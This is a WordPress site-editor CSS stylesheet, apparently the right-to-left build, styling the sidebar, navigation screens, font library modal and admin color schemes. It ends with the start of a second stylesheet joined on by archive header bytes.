  .edit-site-save-panel__modal{
    width:600px;
  }
}

.edit-site-sidebar__content{
  contain:content;
  flex-grow:1;
  overflow-x:hidden;
  overflow-y:auto;
}

@keyframes _x51ri_slide-from-right{
  0%{
    opacity:0;
    transform:translateX(-50px);
  }
  to{
    opacity:1;
    transform:none;
  }
}
@keyframes _x51ri_slide-from-left{
  0%{
    opacity:0;
    transform:translateX(50px);
  }
  to{
    opacity:1;
    transform:none;
  }
}
.edit-site-sidebar__screen-wrapper{
  animation-duration:.14s;
  animation-timing-function:ease-in-out;
  display:flex;
  flex-direction:column;
  height:100%;
  max-height:100%;
  overflow-x:auto;
  padding:0 12px;
  scrollbar-color:#0000 #0000;
  scrollbar-gutter:stable both-edges;
  scrollbar-gutter:stable;
  scrollbar-width:thin;
  will-change:transform;
  will-change:transform, opacity;
}
.edit-site-sidebar__screen-wrapper::-webkit-scrollbar{
  height:12px;
  width:12px;
}
.edit-site-sidebar__screen-wrapper::-webkit-scrollbar-track{
  background-color:initial;
}
.edit-site-sidebar__screen-wrapper::-webkit-scrollbar-thumb{
  background-clip:padding-box;
  background-color:initial;
  border:3px solid #0000;
  border-radius:8px;
}
.edit-site-sidebar__screen-wrapper:focus-within::-webkit-scrollbar-thumb,.edit-site-sidebar__screen-wrapper:focus::-webkit-scrollbar-thumb,.edit-site-sidebar__screen-wrapper:hover::-webkit-scrollbar-thumb{
  background-color:#757575;
}
.edit-site-sidebar__screen-wrapper:focus,.edit-site-sidebar__screen-wrapper:focus-within,.edit-site-sidebar__screen-wrapper:hover{
  scrollbar-color:#757575 #0000;
}
@media (hover:none){
  .edit-site-sidebar__screen-wrapper{
    scrollbar-color:#757575 #0000;
  }
}
@media (prefers-reduced-motion:reduce){
  .edit-site-sidebar__screen-wrapper{
    animation-duration:0s;
  }
}
.edit-site-sidebar__screen-wrapper.slide-from-left{
  animation-name:_x51ri_slide-from-left;
}
.edit-site-sidebar__screen-wrapper.slide-from-right{
  animation-name:_x51ri_slide-from-right;
}

.edit-site-sidebar-button{
  color:#e0e0e0;
  flex-shrink:0;
}
.edit-site-sidebar-button:focus:not(:disabled){
  box-shadow:none;
  outline:none;
}
.edit-site-sidebar-button:focus-visible:not(:disabled){
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:3px solid #0000;
}
.edit-site-sidebar-button:focus,.edit-site-sidebar-button:focus-visible,.edit-site-sidebar-button:hover:not(:disabled,[aria-disabled=true]),.edit-site-sidebar-button:not(:disabled,[aria-disabled=true]):active,.edit-site-sidebar-button[aria-expanded=true]{
  color:#f0f0f0;
}

.edit-site-sidebar-navigation-item.components-item{
  border:none;
  color:#949494;
  min-height:40px;
  padding:8px 16px 8px 6px;
}
.edit-site-sidebar-navigation-item.components-item:focus,.edit-site-sidebar-navigation-item.components-item:hover,.edit-site-sidebar-navigation-item.components-item[aria-current=true]{
  color:#e0e0e0;
}
.edit-site-sidebar-navigation-item.components-item:focus .edit-site-sidebar-navigation-item__drilldown-indicator,.edit-site-sidebar-navigation-item.components-item:hover .edit-site-sidebar-navigation-item__drilldown-indicator,.edit-site-sidebar-navigation-item.components-item[aria-current=true] .edit-site-sidebar-navigation-item__drilldown-indicator{
  fill:#e0e0e0;
}
.edit-site-sidebar-navigation-item.components-item[aria-current=true]{
  background:#2f2f2f;
  color:#fff;
  font-weight:500;
}
.edit-site-sidebar-navigation-item.components-item:focus-visible{
  transform:translateZ(0);
}
.edit-site-sidebar-navigation-item.components-item .edit-site-sidebar-navigation-item__drilldown-indicator{
  fill:#949494;
}
.edit-site-sidebar-navigation-item.components-item.with-suffix{
  padding-left:16px;
}

.edit-site-sidebar-navigation-screen__content .block-editor-list-view-block-select-button{
  cursor:grab;
  padding:8px 0 8px 8px;
}

.edit-site-sidebar-navigation-screen{
  display:flex;
  flex-direction:column;
  overflow-x:unset !important;
  position:relative;
}

.edit-site-sidebar-navigation-screen__main{
  flex-grow:1;
  margin-bottom:16px;
}
.edit-site-sidebar-navigation-screen__main.has-footer{
  margin-bottom:0;
}

.edit-site-sidebar-navigation-screen__content{
  padding:0 16px;
}
.edit-site-sidebar-navigation-screen__content .components-text{
  color:#ccc;
}
.edit-site-sidebar-navigation-screen__content .components-heading{
  margin-bottom:8px;
}

.edit-site-sidebar-navigation-screen__title-icon{
  background:#1e1e1e;
  margin-bottom:8px;
  padding-bottom:8px;
  padding-top:48px;
  position:sticky;
  top:0;
  z-index:1;
}

.edit-site-sidebar-navigation-screen__title{
  flex-grow:1;
  overflow-wrap:break-word;
}
.edit-site-sidebar-navigation-screen__title.edit-site-sidebar-navigation-screen__title,.edit-site-sidebar-navigation-screen__title.edit-site-sidebar-navigation-screen__title .edit-site-sidebar-navigation-screen__title{
  line-height:32px;
}

.edit-site-sidebar-navigation-screen__actions{
  display:flex;
  flex-shrink:0;
}

@media (min-width:782px){
  .edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variation-container{
    max-width:292px;
  }
}

.edit-site-global-styles-variation-title{
  color:#ddd;
  font-size:11px;
  font-weight:500;
  text-transform:uppercase;
}

.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview{
  outline-color:#ffffff0d;
}
.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variations_item:not(.is-active):hover .edit-site-global-styles-variations_item-preview{
  outline-color:#ffffff26;
}
.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variations_item.is-active .edit-site-global-styles-variations_item-preview{
  outline-color:#fff;
}
.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variations_item:focus-visible .edit-site-global-styles-variations_item-preview{
  outline-color:var(--wp-admin-theme-color);
}

.edit-site-sidebar-navigation-screen__footer{
  background-color:#1e1e1e;
  border-top:1px solid #2f2f2f;
  bottom:0;
  gap:0;
  margin:16px 0 0;
  padding:8px 16px;
  position:sticky;
}
.edit-site-sidebar-navigation-screen__footer .edit-site-sidebar-navigation-screen-details-footer{
  margin-left:-16px;
  margin-right:-16px;
}
.edit-site-sidebar-navigation-screen__input-control{
  width:100%;
}
.edit-site-sidebar-navigation-screen__input-control .components-input-control__container{
  background:#2f2f2f;
}
.edit-site-sidebar-navigation-screen__input-control .components-input-control__container .components-button{
  color:#e0e0e0 !important;
}
.edit-site-sidebar-navigation-screen__input-control .components-input-control__input{
  background:#2f2f2f !important;
  color:#e0e0e0 !important;
}
.edit-site-sidebar-navigation-screen__input-control .components-input-control__backdrop{
  border:4px !important;
}
.edit-site-sidebar-navigation-screen__input-control .components-base-control__help{
  color:#949494;
}

.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item:focus,.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item:hover,.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item[aria-current]{
  background:none;
}

.sidebar-navigation__more-menu .components-button{
  color:#e0e0e0;
}
.sidebar-navigation__more-menu .components-button:focus,.sidebar-navigation__more-menu .components-button:hover,.sidebar-navigation__more-menu .components-button[aria-current]{
  color:#f0f0f0;
}

.edit-site-sidebar-navigation-screen-patterns__group{
  margin-bottom:24px;
  margin-left:-16px;
  margin-right:-16px;
}
.edit-site-sidebar-navigation-screen-patterns__group:last-of-type{
  border-bottom:0;
  margin-bottom:0;
  padding-bottom:0;
}

.edit-site-sidebar-navigation-screen-patterns__group-header{
  margin-top:16px;
}
.edit-site-sidebar-navigation-screen-patterns__group-header p{
  color:#949494;
}
.edit-site-sidebar-navigation-screen-patterns__group-header h2{
  font-size:11px;
  font-weight:500;
  text-transform:uppercase;
}

.edit-site-sidebar-navigation-screen-patterns__divider{
  border-top:1px solid #2f2f2f;
  margin:16px 0;
}

.edit-site-sidebar-navigation-screen__description{
  margin:0 0 32px;
}

.edit-site-sidebar-navigation-screen-navigation-menus{
  margin-left:-16px;
  margin-right:-16px;
}

.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-leaf .block-editor-list-view-block__contents-cell{
  width:100%;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-leaf .block-editor-list-view-block-contents{
  white-space:normal;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__title{
  margin-top:3px;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu-cell{
  padding-left:0;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block-select-button{
  color:#949494;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block-select-button:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block-select-button:hover,.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block-select-button[aria-current]{
  color:#fff;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu{
  color:#949494;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu:hover{
  color:#fff;
}

.edit-site-sidebar-navigation-screen-navigation-menus__loading.components-spinner{
  display:block;
  margin-left:auto;
  margin-right:auto;
}

.edit-site-sidebar-navigation-screen-navigation-menus__helper-block-editor{
  display:none;
}

.edit-site-sidebar-navigation-screen-main,.edit-site-sidebar-navigation-screen-templates-browse{
  margin-left:-16px;
  margin-right:-16px;
}

.edit-site-sidebar-navigation-screen-dataviews__group-header{
  margin-top:32px;
}
.edit-site-sidebar-navigation-screen-dataviews__group-header h2{
  font-size:11px;
  font-weight:500;
  text-transform:uppercase;
}

.edit-site-sidebar-dataviews{
  margin-left:-16px;
  margin-right:-16px;
}

.edit-site-sidebar-navigation-screen-dataviews__custom-items .edit-site-sidebar-dataviews-dataview-item{
  padding-left:8px;
}

.edit-site-sidebar-dataviews-dataview-item{
  border-radius:2px;
}
.edit-site-sidebar-dataviews-dataview-item .edit-site-sidebar-dataviews-dataview-item__dropdown-menu{
  min-width:auto;
}
.edit-site-sidebar-dataviews-dataview-item:focus,.edit-site-sidebar-dataviews-dataview-item:hover,.edit-site-sidebar-dataviews-dataview-item[aria-current]{
  color:#e0e0e0;
}
.edit-site-sidebar-dataviews-dataview-item.is-selected{
  background:#2f2f2f;
  color:#fff;
  font-weight:500;
}

.edit-site-site-hub{
  align-items:center;
  display:flex;
  gap:8px;
  height:60px;
  justify-content:space-between;
  margin-left:12px;
}

.edit-site-site-hub__actions{
  flex-shrink:0;
}

.edit-site-site-hub__view-mode-toggle-container{
  flex-shrink:0;
  height:60px;
  width:60px;
}
.edit-site-site-hub__view-mode-toggle-container.has-transparent-background .edit-site-layout__view-mode-toggle-icon{
  background:#0000;
}

.edit-site-site-hub__title .components-button{
  color:#e0e0e0;
  display:block;
  flex-grow:1;
  font-size:15px;
  font-weight:500;
  margin-right:-4px;
  overflow:hidden;
  padding-left:16px;
  position:relative;
  text-decoration:none;
  text-overflow:ellipsis;
  white-space:nowrap;
}
.edit-site-site-hub__title .components-button:active,.edit-site-site-hub__title .components-button:focus,.edit-site-site-hub__title .components-button:hover{
  color:#e0e0e0;
}
.edit-site-site-hub__title .components-button:focus{
  box-shadow:none;
  outline:none;
}
.edit-site-site-hub__title .components-button:focus-visible{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) #1e1e1e, 0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-admin-theme-color);
  outline:2px solid #0000;
  outline-offset:2px;
}
.edit-site-site-hub__title .components-button:after{
  content:"↗";
  font-weight:400;
  left:0;
  opacity:0;
  position:absolute;
}
@media not (prefers-reduced-motion){
  .edit-site-site-hub__title .components-button:after{
    transition:opacity .1s linear;
  }
}
.edit-site-site-hub__title .components-button:active:after,.edit-site-site-hub__title .components-button:focus:after,.edit-site-site-hub__title .components-button:hover:after{
  opacity:1;
}

.edit-site-site-hub_toggle-command-center{
  color:#e0e0e0;
}
.edit-site-site-hub_toggle-command-center:active svg,.edit-site-site-hub_toggle-command-center:hover svg{
  fill:#f0f0f0;
}

.edit-site-site-icon__icon{
  fill:currentColor;
  height:100%;
  width:100%;
}
.edit-site-layout.is-full-canvas .edit-site-site-icon__icon{
  padding:12px;
}

.edit-site-site-icon__image{
  aspect-ratio:1/1;
  background:#333;
  height:100%;
  object-fit:cover;
  width:100%;
}
.edit-site-layout.is-full-canvas .edit-site-site-icon__image{
  border-radius:0;
}

.edit-site-editor__view-mode-toggle button:focus{
  position:relative;
}
.edit-site-editor__view-mode-toggle button:focus:before{
  bottom:0;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color), inset 0 0 0 calc(1px + var(--wp-admin-border-width-focus)) #fff;
  content:"";
  display:block;
  left:0;
  position:absolute;
  right:0;
  top:0;
  z-index:1;
}

.edit-site-style-book{
  align-items:stretch;
  display:flex;
  flex-direction:column;
  height:100%;
}
.edit-site-style-book.is-button{
  border-radius:8px;
}

.edit-site-style-book__iframe{
  display:block;
  height:100%;
  width:100%;
}
.edit-site-style-book__iframe.is-button{
  border-radius:8px;
}
.edit-site-style-book__iframe.is-focused{
  outline:calc(var(--wp-admin-border-width-focus)*2) solid var(--wp-admin-theme-color);
  outline-offset:calc(var(--wp-admin-border-width-focus)*-2);
}

.edit-site-style-book__tablist-container{
  background:#fff;
  display:flex;
  flex:none;
  padding-left:56px;
  width:100%;
}

.edit-site-style-book__tabpanel{
  flex:1 0 auto;
  overflow:auto;
}

.edit-site-editor-canvas-container{
  background-color:#ddd;
  height:100%;
}
.edit-site-editor-canvas-container iframe{
  display:block;
  height:100%;
  width:100%;
}
.edit-site-layout.is-full-canvas .edit-site-editor-canvas-container{
  padding:24px 24px 0;
}

.edit-site-editor-canvas-container__section{
  background:#fff;
  border-radius:8px;
  bottom:0;
  left:0;
  overflow:hidden;
  position:absolute;
  right:0;
  top:0;
}
@media not (prefers-reduced-motion){
  .edit-site-editor-canvas-container__section{
    transition:all .3s;
  }
}

.edit-site-editor-canvas-container__close-button{
  background:#fff;
  left:8px;
  position:absolute;
  top:8px;
  z-index:2;
}

.edit-site-post-edit{
  padding:24px;
}
.edit-site-post-edit.is-empty .edit-site-page-content{
  align-items:center;
  display:flex;
  justify-content:center;
}

.dataforms-layouts-panel__field-dropdown .fields-controls__password{
  border-top:1px solid #e0e0e0;
  padding-top:16px;
}

.edit-site-post-list__featured-image{
  height:100%;
  object-fit:cover;
  width:100%;
}

.edit-site-post-list__featured-image-wrapper{
  border-radius:4px;
  height:100%;
  width:100%;
}
.edit-site-post-list__featured-image-wrapper.is-layout-table .edit-site-post-list__featured-image-button,.edit-site-post-list__featured-image-wrapper.is-layout-table:not(:has(.edit-site-post-list__featured-image-button)){
  background-color:#f0f0f0;
  border-radius:4px;
  display:block;
  flex-grow:0 !important;
  height:32px;
  overflow:hidden;
  position:relative;
  width:32px;
}
.edit-site-post-list__featured-image-wrapper.is-layout-table .edit-site-post-list__featured-image-button:after,.edit-site-post-list__featured-image-wrapper.is-layout-table:not(:has(.edit-site-post-list__featured-image-button)):after{
  border-radius:4px;
  box-shadow:inset 0 0 0 1px #0000001a;
  content:"";
  height:100%;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}

.edit-site-post-list__featured-image-button{
  background-color:unset;
  border:none;
  border-radius:4px;
  box-shadow:none;
  box-sizing:border-box;
  cursor:pointer;
  height:100%;
  overflow:hidden;
  padding:0;
  width:100%;
}
.edit-site-post-list__featured-image-button:focus-visible{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}

.dataviews-view-grid__card.is-selected .edit-site-post-list__featured-image-button:after{
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}

.edit-site-post-list__status-icon{
  height:24px;
  width:24px;
}
.edit-site-post-list__status-icon svg{
  fill:currentColor;
  margin-right:-4px;
}

.edit-site-resizable-frame__inner{
  position:relative;
}
body:has(.edit-site-resizable-frame__inner.is-resizing){
  cursor:col-resize;
  user-select:none;
  -webkit-user-select:none;
}

.edit-site-resizable-frame__inner.is-resizing:before{
  content:"";
  inset:0;
  position:absolute;
  z-index:1;
}

.edit-site-resizable-frame__inner-content{
  inset:0;
  position:absolute;
  z-index:0;
}

.edit-site-resizable-frame__handle{
  align-items:center;
  background-color:#75757566;
  border:0;
  border-radius:4px;
  cursor:col-resize;
  display:flex;
  height:64px;
  justify-content:flex-end;
  padding:0;
  position:absolute;
  top:calc(50% - 32px);
  width:4px;
  z-index:100;
}
.edit-site-resizable-frame__handle:before{
  content:"";
  height:100%;
  position:absolute;
  right:100%;
  width:32px;
}
.edit-site-resizable-frame__handle:after{
  content:"";
  height:100%;
  left:100%;
  position:absolute;
  width:32px;
}
.edit-site-resizable-frame__handle:focus-visible{
  outline:2px solid #0000;
}
.edit-site-resizable-frame__handle.is-resizing,.edit-site-resizable-frame__handle:focus,.edit-site-resizable-frame__handle:hover{
  background-color:var(--wp-admin-theme-color);
}

.edit-site-push-changes-to-global-styles-control .components-button{
  justify-content:center;
  width:100%;
}

@media (min-width:782px){
  .font-library-modal.font-library-modal{
    width:65vw;
  }
}
.font-library-modal .components-modal__header{
  border-bottom:none;
}
.font-library-modal .components-modal__content{
  margin-bottom:70px;
  padding-top:0;
}
.font-library-modal .font-library-modal__subtitle{
  font-size:11px;
  font-weight:500;
  text-transform:uppercase;
}
.font-library-modal .components-navigator-screen{
  padding:3px;
}

.font-library-modal__tabpanel-layout{
  margin-top:32px;
}
.font-library-modal__tabpanel-layout .font-library-modal__loading{
  align-items:center;
  display:flex;
  height:100%;
  justify-content:center;
  padding-top:120px;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}

.font-library-modal__footer{
  background-color:#fff;
  border-top:1px solid #ddd;
  bottom:32px;
  height:70px;
  margin:0 -32px -32px;
  padding:16px 32px;
  position:absolute;
  width:100%;
}

.font-library-modal__page-selection{
  font-size:11px;
  font-weight:500;
  text-transform:uppercase;
}
@media (min-width:600px){
  .font-library-modal__page-selection .components-select-control__input{
    font-size:11px !important;
    font-weight:500;
  }
}

.font-library-modal__tabpanel-layout .components-base-control__field{
  margin-bottom:0;
}

.font-library-modal__fonts-title{
  font-size:11px;
  font-weight:600;
  text-transform:uppercase;
}

.font-library-modal__fonts-list,.font-library-modal__fonts-title{
  margin-bottom:0;
  margin-top:0;
}

.font-library-modal__fonts-list-item{
  margin-bottom:0;
}

.font-library-modal__font-card{
  border:1px solid #e0e0e0;
  height:auto !important;
  margin-top:-1px;
  padding:16px;
  width:100%;
}
.font-library-modal__font-card:hover{
  background-color:#f0f0f0;
}
.font-library-modal__font-card .font-library-modal__font-card__name{
  font-weight:700;
}
.font-library-modal__font-card .font-library-modal__font-card__count{
  color:#757575;
}
.font-library-modal__font-card .font-library-modal__font-variant_demo-image{
  display:block;
  height:24px;
  width:auto;
}
.font-library-modal__font-card .font-library-modal__font-variant_demo-text{
  flex-shrink:0;
  white-space:nowrap;
}
@media not (prefers-reduced-motion){
  .font-library-modal__font-card .font-library-modal__font-variant_demo-text{
    transition:opacity .3s ease-in-out;
  }
}

.font-library-modal__font-variant{
  border-bottom:1px solid #e0e0e0;
  padding-bottom:16px;
}

.font-library-modal__tablist-container{
  background:#fff;
  border-bottom:1px solid #ddd;
  margin:0 -32px;
  padding:0 16px;
  position:sticky;
  top:0;
  z-index:1;
}
.font-library-modal__tablist-container [role=tablist]{
  margin-bottom:-1px;
}

.font-library-modal__upload-area{
  align-items:center;
  display:flex;
  height:256px !important;
  justify-content:center;
  width:100%;
}

button.font-library-modal__upload-area{
  background-color:#f0f0f0;
}

.font-library-modal__local-fonts{
  margin:0 auto;
  width:80%;
}
.font-library-modal__local-fonts .font-library-modal__upload-area__text{
  color:#757575;
}

.font-library__google-fonts-confirm{
  align-items:center;
  display:flex;
  justify-content:center;
  margin-top:64px;
}
.font-library__google-fonts-confirm p{
  line-height:1.4;
}
.font-library__google-fonts-confirm h2{
  font-size:1.2rem;
  font-weight:400;
}
.font-library__google-fonts-confirm .components-card{
  padding:16px;
  width:400px;
}
.font-library__google-fonts-confirm .components-button{
  justify-content:center;
  width:100%;
}

.font-library-modal__select-all{
  padding:16px 17px 16px 16px;
}
.font-library-modal__select-all .components-checkbox-control__label{
  padding-right:16px;
}

.edit-site-pagination .components-button.is-tertiary{
  height:32px;
  justify-content:center;
  width:32px;
}

.edit-site-global-styles-variations_item{
  box-sizing:border-box;
  cursor:pointer;
}
.edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview{
  border-radius:2px;
  outline:1px solid #0000001a;
  outline-offset:-1px;
  overflow:hidden;
  position:relative;
}
@media not (prefers-reduced-motion){
  .edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview{
    transition:outline .1s linear;
  }
}
.edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview.is-pill{
  height:32px;
}
.edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview.is-pill .block-editor-iframe__scale-container{
  overflow:hidden;
}
.edit-site-global-styles-variations_item:not(.is-active):hover .edit-site-global-styles-variations_item-preview{
  outline-color:#0000004d;
}
.edit-site-global-styles-variations_item.is-active .edit-site-global-styles-variations_item-preview,.edit-site-global-styles-variations_item:focus-visible .edit-site-global-styles-variations_item-preview{
  outline-color:#1e1e1e;
  outline-offset:1px;
  outline-width:var(--wp-admin-border-width-focus);
}
.edit-site-global-styles-variations_item:focus-visible .edit-site-global-styles-variations_item-preview{
  outline-color:var(--wp-admin-theme-color);
}

.edit-site-styles .edit-site-page-content .edit-site-global-styles-screen-root{
  box-shadow:none;
}
.edit-site-styles .edit-site-page-content .edit-site-global-styles-screen-root>div>hr{
  display:none;
}
.edit-site-styles .edit-site-page-content .edit-site-global-styles-sidebar__navigator-provider{
  overflow-y:auto;
  padding-left:0;
  padding-right:0;
}
.edit-site-styles .edit-site-page-content .edit-site-global-styles-sidebar__navigator-provider .components-tools-panel{
  border-top:none;
}
.edit-site-styles .edit-site-page-content .edit-site-global-styles-sidebar__navigator-provider .edit-site-global-styles-sidebar__navigator-screen{
  outline:none;
  padding:12px;
}
.edit-site-styles .edit-site-page-content .edit-site-page-header{
  padding-left:48px;
  padding-right:48px;
}
@container (max-width: 430px){
  .edit-site-styles .edit-site-page-content .edit-site-page-header{
    padding-left:24px;
    padding-right:24px;
  }
}
.edit-site-styles .edit-site-page-content .edit-site-sidebar-button{
  color:#1e1e1e;
}

.show-icon-labels .edit-site-styles .edit-site-page-content .edit-site-page-header__actions .components-button.has-icon{
  padding:0 8px;
  width:auto;
}
.show-icon-labels .edit-site-styles .edit-site-page-content .edit-site-page-header__actions .components-button.has-icon svg{
  display:none;
}
.show-icon-labels .edit-site-styles .edit-site-page-content .edit-site-page-header__actions .components-button.has-icon:after{
  content:attr(aria-label);
  font-size:12px;
}
::view-transition-image-pair(root){
  isolation:auto;
}

::view-transition-new(root),::view-transition-old(root){
  animation:none;
  display:block;
  mix-blend-mode:normal;
}
body.js #wpadminbar{
  display:none;
}

body.js #wpbody{
  padding-top:0;
}

body.js.appearance_page_gutenberg-template-parts,body.js.site-editor-php{
  background:#fff;
}
body.js.appearance_page_gutenberg-template-parts #wpcontent,body.js.site-editor-php #wpcontent{
  padding-right:0;
}
body.js.appearance_page_gutenberg-template-parts #wpbody-content,body.js.site-editor-php #wpbody-content{
  padding-bottom:0;
}
body.js.appearance_page_gutenberg-template-parts #wpbody-content>div:not(.edit-site):not(#screen-meta),body.js.appearance_page_gutenberg-template-parts #wpfooter,body.js.site-editor-php #wpbody-content>div:not(.edit-site):not(#screen-meta),body.js.site-editor-php #wpfooter{
  display:none;
}
body.js.appearance_page_gutenberg-template-parts .a11y-speak-region,body.js.site-editor-php .a11y-speak-region{
  right:-1px;
  top:-1px;
}
body.js.appearance_page_gutenberg-template-parts ul#adminmenu a.wp-has-current-submenu:after,body.js.appearance_page_gutenberg-template-parts ul#adminmenu>li.current>a.current:after,body.js.site-editor-php ul#adminmenu a.wp-has-current-submenu:after,body.js.site-editor-php ul#adminmenu>li.current>a.current:after{
  border-left-color:#fff;
}
body.js.appearance_page_gutenberg-template-parts .media-frame select.attachment-filters:last-of-type,body.js.site-editor-php .media-frame select.attachment-filters:last-of-type{
  max-width:100%;
  width:auto;
}

body.js.site-editor-php{
  background:#1e1e1e;
}

.edit-site{
  box-sizing:border-box;
  height:100vh;
}
.edit-site *,.edit-site :after,.edit-site :before{
  box-sizing:inherit;
}
@media (min-width:600px){
  .edit-site{
    bottom:0;
    left:0;
    min-height:100vh;
    position:fixed;
    right:0;
    top:0;
  }
}
.no-js .edit-site{
  min-height:0;
  position:static;
}
.edit-site .interface-interface-skeleton{
  top:0;
}

body.admin-color-light{
  --wp-admin-theme-color:#0085ba;
  --wp-admin-theme-color--rgb:0, 133, 186;
  --wp-admin-theme-color-darker-10:#0073a1;
  --wp-admin-theme-color-darker-10--rgb:0, 115, 161;
  --wp-admin-theme-color-darker-20:#006187;
  --wp-admin-theme-color-darker-20--rgb:0, 97, 135;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-light{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-modern{
  --wp-admin-theme-color:#3858e9;
  --wp-admin-theme-color--rgb:56, 88, 233;
  --wp-admin-theme-color-darker-10:#2145e6;
  --wp-admin-theme-color-darker-10--rgb:33, 69, 230;
  --wp-admin-theme-color-darker-20:#183ad6;
  --wp-admin-theme-color-darker-20--rgb:24, 58, 214;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-modern{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-blue{
  --wp-admin-theme-color:#096484;
  --wp-admin-theme-color--rgb:9, 100, 132;
  --wp-admin-theme-color-darker-10:#07526c;
  --wp-admin-theme-color-darker-10--rgb:7, 82, 108;
  --wp-admin-theme-color-darker-20:#064054;
  --wp-admin-theme-color-darker-20--rgb:6, 64, 84;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-blue{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-coffee{
  --wp-admin-theme-color:#46403c;
  --wp-admin-theme-color--rgb:70, 64, 60;
  --wp-admin-theme-color-darker-10:#383330;
  --wp-admin-theme-color-darker-10--rgb:56, 51, 48;
  --wp-admin-theme-color-darker-20:#2b2724;
  --wp-admin-theme-color-darker-20--rgb:43, 39, 36;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-coffee{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ectoplasm{
  --wp-admin-theme-color:#523f6d;
  --wp-admin-theme-color--rgb:82, 63, 109;
  --wp-admin-theme-color-darker-10:#46365d;
  --wp-admin-theme-color-darker-10--rgb:70, 54, 93;
  --wp-admin-theme-color-darker-20:#3a2c4d;
  --wp-admin-theme-color-darker-20--rgb:58, 44, 77;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ectoplasm{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-midnight{
  --wp-admin-theme-color:#e14d43;
  --wp-admin-theme-color--rgb:225, 77, 67;
  --wp-admin-theme-color-darker-10:#dd382d;
  --wp-admin-theme-color-darker-10--rgb:221, 56, 45;
  --wp-admin-theme-color-darker-20:#d02c21;
  --wp-admin-theme-color-darker-20--rgb:208, 44, 33;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-midnight{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ocean{
  --wp-admin-theme-color:#627c83;
  --wp-admin-theme-color--rgb:98, 124, 131;
  --wp-admin-theme-color-darker-10:#576e74;
  --wp-admin-theme-color-darker-10--rgb:87, 110, 116;
  --wp-admin-theme-color-darker-20:#4c6066;
  --wp-admin-theme-color-darker-20--rgb:76, 96, 102;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ocean{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-sunrise{
  --wp-admin-theme-color:#dd823b;
  --wp-admin-theme-color--rgb:221, 130, 59;
  --wp-admin-theme-color-darker-10:#d97426;
  --wp-admin-theme-color-darker-10--rgb:217, 116, 38;
  --wp-admin-theme-color-darker-20:#c36922;
  --wp-admin-theme-color-darker-20--rgb:195, 105, 34;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-sunrise{
    --wp-admin-border-width-focus:1.5px;
  }
}PK1Xd[�M!݌݌dist/edit-site/style.cssnu�[���@charset "UTF-8";
:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.dataviews-wrapper{
  box-sizing:border-box;
  container:dataviews-wrapper/inline-size;
  display:flex;
  flex-direction:column;
  font-size:13px;
  height:100%;
  line-height:1.4;
  overflow:auto;
  scroll-padding-bottom:64px;
}

.dataviews-filters__container,.dataviews__view-actions{
  box-sizing:border-box;
  flex-shrink:0;
  left:0;
  padding:16px 48px;
  position:sticky;
}
